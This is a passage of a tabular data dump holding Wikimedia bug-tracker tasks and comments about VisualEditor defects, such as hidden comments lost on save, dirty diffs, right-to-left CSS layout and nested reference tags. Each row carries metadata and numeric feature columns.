+Bump. https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&diff=567981801",,,1376162739,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+239284,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"Another example: http://en.wikipedia.org/w/index.php?title=Jacques_Lacan&diff=566246717&oldid=561090875 We are getting multiple reports about this specific issue, so thanks for your attention on this.",,,1375547447,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+239281,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"Example of edit where displaying the hidden comment would have been very useful (because the edit goes against what is stated in the comment) :
+http://en.wikipedia.org/w/index.php?title=List_of_English-language_book_publishing_companies&curid=746089&diff=564359255&oldid=563535930",,,1373895474,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,2,,0,0,1,1,0,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0
+239278,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"Is there any progress or movement on this? Specifically, will hidden comments at least be displayed by the Monday deployment?",,,1373875721,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0
+239275,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"(In reply to comment #9)
+> (In reply to comment #8)
+> > I don't think it was officially decided.  Most likely, it will be wikitext
+> > first, but that could change if the VE API is ready.
+> 
+> I don't know what you mean by ""the VE API"", let alone it being ""ready"". :-)
+> 
+> We negotiate with people to build whatever hooks they need (and we felt were
+> justified) in the normal way. However, a commenting system like this feels
+> more like core VE work than a plugin
+
+Okay, based on that, I think it makes sense not to use VE for the inline comment prototype.",,,1371498950,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+239272,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"(In reply to comment #8)
+> I don't think it was officially decided.  Most likely, it will be wikitext
+> first, but that could change if the VE API is ready.
+
+I don't know what you mean by ""the VE API"", let alone it being ""ready"". :-)
+
+We negotiate with people to build whatever hooks they need (and we felt were justified) in the normal way. However, a commenting system like this feels more like core VE work than a plugin (so it wouldn't be a matter of hooks available for code in general); it'd sit well with the planned real-time collaborative editing functionality we're building in the new financial year, for which a chat/comment-like tool would be wanted.",,,1371429119,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+239267,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"I don't think it was officially decided.  Most likely, it will be wikitext first, but that could change if the VE API is ready.",,,1371426788,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0
+239259,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"(In reply to comment #6)
+> (In reply to comment #5)
+> >The second phase might be postponed indefinitely if the ""co-ment"" work comes to something. A treatment for in-line comments will be needed; possibly just a span of some kind. Will look at this.
+> 
+> I'm mentoring that (along with Tyler).  I don't think Richa's looked yet at
+> integrating with VE.  But it's still early. If you think the VE API is mature
+> enough that it integration is feasible, you can suggest that at bug 46440.
+
+I know - see your own comment at bug 46440 comment 13 :-) - but I thought that the proposal was to build this for wikitext editor and then we'd take on porting it over to VE once it was done?",,,1371425605,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,True,,,-3,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,1
+239252,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"(In reply to comment #5)
+>The second phase might be postponed indefinitely if the ""co-ment"" work comes to something. A treatment for in-line comments will be needed; possibly just a span of some kind. Will look at this.
+
+I'm mentoring that (along with Tyler).  I don't think Richa's looked yet at integrating with VE.  But it's still early. If you think the VE API is mature enough that it integration is feasible, you can suggest that at bug 46440.",,,1371424966,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,True,,,-3,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+239246,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"(In reply to comment #4)
+> Quiddity, yeah, I know, I just filed that (bug 49608).
+
+For clarity, that's a problem with HTML comments in transclusions rather than in general, which does still work. Sorry. :-(
+
+We'd probably need to do this enhancement in stages - first, show comments and let them be deleted; later, make them editable and creatable. The second phase might be postponed indefinitely if the ""co-ment"" work comes to something. A treatment for in-line comments will be needed; possibly just a span of some kind. Will look at this.",,,1371420628,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,True,,,-3,,1,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,1
+239242,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"Quiddity, yeah, I know, I just filed that (bug 49608).",,,1371265691,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+239237,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"That bug isn't fixed then (or was re-broken), because Hidden Comments are being deleted when we save.
+
+(This problem is now worse, because it is now only noticeable if we opt to ""Review your changes"" before saving.)
+
+See http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Removal_of_comments_in_Infobox
+and test with adding text anywhere in the article http://en.wikipedia.org/wiki/Bleak_House for example. It always removes the comments from the infobox.
+
+There are additional threads on that page mentioning the same thing.",,,1371265603,,PHID-USER-hphmqcx66p6d6gvmjzp7,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,1,0,0
+239231,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),I don't think so.  That one's just about preventing them from being silently removed on save.  This is about actually displaying them to the editor.,,,1371264951,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+239225,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"I think this is a duplicate of Bug 42124 ?
+
+It doesn't specifically mention HTML or Hidden, so I'm not positive.",,,1371264902,,PHID-USER-hphmqcx66p6d6gvmjzp7,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+51601,VisualEditor: Swallowing of empty text annotations leads to dirty diffs and unexpected Parsoid normalisation,"VisualEditor caused this dirty diff (https://en.wikipedia.org/w/index.php?title=List_of_South_Korean_idol_groups_%282010s%29&diff=559356009&oldid=559228059) when editing a table.  Note the removal of the empty small elements, and the change to the align syntax.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1371258600,1371419290.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-r3xcog5g6murfqlx2fpo,task_description,resolved,True,c1,2,True,False,True,-3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+239089,VisualEditor: Swallowing of empty text annotations leads to dirty diffs and unexpected Parsoid normalisation,"(In reply to comment #0)
+> VisualEditor caused this dirty diff
+> (https://en.wikipedia.org/w/index.
+> php?title=List_of_South_Korean_idol_groups_%282010s%29&diff=559356009&oldid=5
+> 59228059)
+> when editing a table.  Note the removal of the empty small elements, and the
+> change to the align syntax.
+
+The removal of empty text annotations has been fixed as of wmf7 (gerrit 68213 and gerrit 68190), which is now deployed a week early on enwiki to fix this and other issues - sorry about that. This will stop ""the removal of the empty small elements"", and consequently the changes to the table syntax that Parsoid does on lines that aren't otherwise changed.
+
+The non-semantic syntactical change of the HTML syntax is, I believe intentionally  done by Parsoid to normalise the wikitext; it is only done on lines of wikitext that are changed anyway by user action (unless there's a bug in VisualEditor which causes the contents of the HTML to change unexpectedly, as was the case here).
+
+Consequently marking as ""fixed"".",,,1371419290,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-r3xcog5g6murfqlx2fpo,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,1,1,0,1,1,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+51565,VisualEditor: Revive Inez's way of doing sub-surfaces,"Per Roan - ""we were initially going to use this for references and captions, and then chose to use separate documents instead, but this is not compatible with the collaborative editing work; a VE instance should be able to collaborate with another instance on the same page, although I suppose there was some stuff about limiting the scope successfully as well"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1371181800,1416360265.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-s72q22vgyujmcogxkisx,task_description,declined,True,c1,2,True,False,False,-3,,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+236808,VisualEditor: Revive Inez's way of doing sub-surfaces,Instead we're going to go with sub-documents directly.,,,1416360265,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-s72q22vgyujmcogxkisx,task_subcomment,,True,c1,3,True,,,72,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+51563,VisualEditor: Section edit link behaviour tweaks,"Clicking the section edit link into VE has three minor issues:
+
+* The cursor is positioned at the start of the heading of that section; it should probably go to the start of the next element straight after the section (in most cases, a paragraph)
+* The page doesn't actually scroll to the correct area; ideally the page should be deliberately scrolled to that section (as it happens, you normally end up on roughly the right part because the page is already scrolled, but there are cases where VE pages are lengthier or shorter than PHP pages and so this can't be relied upon).
+* The toolbar only appears once you scroll (because it's triggered on page movement, and the page doesn't move at first to get to the section because it's already there) - this means that it suddenly pops into view a bit too late.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371180060,1372109901.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-zptqvqstkrfianknvktj,task_description,resolved,True,c1,2,True,False,True,-3,,0,0,0,1,1,1,1,1,0,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+236738,VisualEditor: Section edit link behaviour tweaks,"Both changes merged, so marking as fixed.",,,1372109901,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-zptqvqstkrfianknvktj,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+236735,VisualEditor: Section edit link behaviour tweaks,#3 in your list is fixed by #2,,,1372102079,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-zptqvqstkrfianknvktj,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+236731,VisualEditor: Section edit link behaviour tweaks,^^^ Moves cursor to next non-heading,,,1372101985,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-zptqvqstkrfianknvktj,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+236727,VisualEditor: Section edit link behaviour tweaks,Related URL: https://gerrit.wikimedia.org/r/70238 (Gerrit Change I6fcc463aeeae40278f5caf04ae251c8ecfe65472),,,1372101813,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-zptqvqstkrfianknvktj,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+236723,VisualEditor: Section edit link behaviour tweaks,^^^ Fixes scroll,,,1372100335,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-zptqvqstkrfianknvktj,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+236717,VisualEditor: Section edit link behaviour tweaks,Related URL: https://gerrit.wikimedia.org/r/70229 (Gerrit Change I3a57e64f54289a3263814b4fbfe00c63de4a490b),,,1372100128,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-zptqvqstkrfianknvktj,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+51546,VisualEditor: CSS broken in RTL,"We have plans to use ResourceLoader which will fix a lot of this, but noting it here.
+
+Most obviously, the toolbar has two sections which in LRT appear as ABCDE  1234; in RTL they should be 4321  EDCBA, but instead appear as EDCBA  4321. Also issues in dialogs etc.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1371155280,1374592563.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-o4e72bpfvnzueqs77k5k,task_description,resolved,True,c1,2,True,False,True,-3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+235553,VisualEditor: CSS broken in RTL,"(In reply to comment #2)
+> This is fixed in general by the introduction of Roan and Trevor's css-frame
+> fixes, and the popup menu fixes (in TextMenuWidget) - and I think that the
+> rest would likely result in spot-fixes, like the ones with the transclusion
+> editor.
+> 
+> Also, as far as I could see, the toolbar bug was fixed as well.
+> 
+> I think we can close this bug and rely on the main BIDI/RTL tracking bug to
+> continue work on any individual bugs as they happen.
+
+OK, done.",,,1374592563,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-o4e72bpfvnzueqs77k5k,task_subcomment,,True,c1,3,True,,,3,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+235547,VisualEditor: CSS broken in RTL,"This is fixed in general by the introduction of Roan and Trevor's css-frame fixes, and the popup menu fixes (in TextMenuWidget) - and I think that the rest would likely result in spot-fixes, like the ones with the transclusion editor.
+
+Also, as far as I could see, the toolbar bug was fixed as well.
+
+I think we can close this bug and rely on the main BIDI/RTL tracking bug to continue work on any individual bugs as they happen.",,,1374592211,,PHID-USER-zq6nzfwxwkyliljd4lfy,True,,,PHID-TASK-o4e72bpfvnzueqs77k5k,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+235543,VisualEditor: CSS broken in RTL,"I went through the Link Inspector CSS issue and it gave me an insight into what may be happening here. 
+
+Using CSSJanus will probably help 90% of this problem, but it might not completely solve it. A lot of the position settings are inline, calculated dynamically and inserted into the element itself. I'm not entirely sure CSSJanus knows how to deal with those. We may have to split the calculation up into RTL and LTR positions, or find some other solution to the popups that are calculated dynamically.",,,1371575347,,PHID-USER-zq6nzfwxwkyliljd4lfy,True,,,PHID-TASK-o4e72bpfvnzueqs77k5k,task_subcomment,,True,c1,2,False,,,-2,,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+51536,VisualEditor: Incorrectly handling nested reference tags (blocked by Parsoid),"This is a particular problem with 'note' sections, and references used as notes; they commonly include citations for their statements, and you end up with markup that looks like <ref> some text here <ref> a citation for that text</ref></ref>
+
+The VE is for some reason displaying it as a citation template, ""some text here"", a second citation template and a random </ref> tag. See note 1 in https://en.wikipedia.org/wiki/Fomitiporia_ellipsoidea for example.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371143340,1371782246.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-comswpptjs3uwf7ztbnb,task_description,resolved,True,c1,2,False,False,True,-3,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+235008,VisualEditor: Incorrectly handling nested reference tags (blocked by Parsoid),"This is now ""fixed"" (but we may want to make it a nicer experience in the future).",,,1371782246,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-comswpptjs3uwf7ztbnb,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,0,1,0,0
+235002,VisualEditor: Incorrectly handling nested reference tags (blocked by Parsoid),"This is because Parsoid doesn't support the ""#tag:ref"" hack to let you do multi-level references (which were explicitly not allowed because of the insanity this creates :-)).
+
+Creating a secondary bug (VE currently assumes you can't have nested references, which is indeed what Parsoid gives us), bug 49555. Once Parsoid supports this, we'll need to check that we correctly handle this from a UX perspective (amongst other things).",,,1371168461,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-comswpptjs3uwf7ztbnb,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+51524,VisualEditor: Dropdown text style menu overlaps with other interface elements,"See https://upload.wikimedia.org/wikipedia/en/8/8f/Visual_editor_pulldown_menu_problem.png
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371122520,1372007755.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-mu7u3eco45xxsfwg4vhq,task_description,resolved,True,c1,2,False,False,True,-3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+234377,VisualEditor: Dropdown text style menu overlaps with other interface elements,This was fixed in the re-write of the toolbar two weeks ago; sorry for not updating until now.,,,1372007755,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mu7u3eco45xxsfwg4vhq,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+234371,VisualEditor: Dropdown text style menu overlaps with other interface elements,"(In IE9, I'd note).",,,1371122580,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-mu7u3eco45xxsfwg4vhq,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+51502,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages","Have a link [[Foo]] which is a redirect to [[Foobar]].
+
+Inspect link; it will suggest:
+
+New pages
+  Foo
+Existing pages
+  Foobar
+
+This is because ""Foo"" does not come back in the list of pages you can link to - which is filtered to remove redirects - but we should special-case the existing link.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
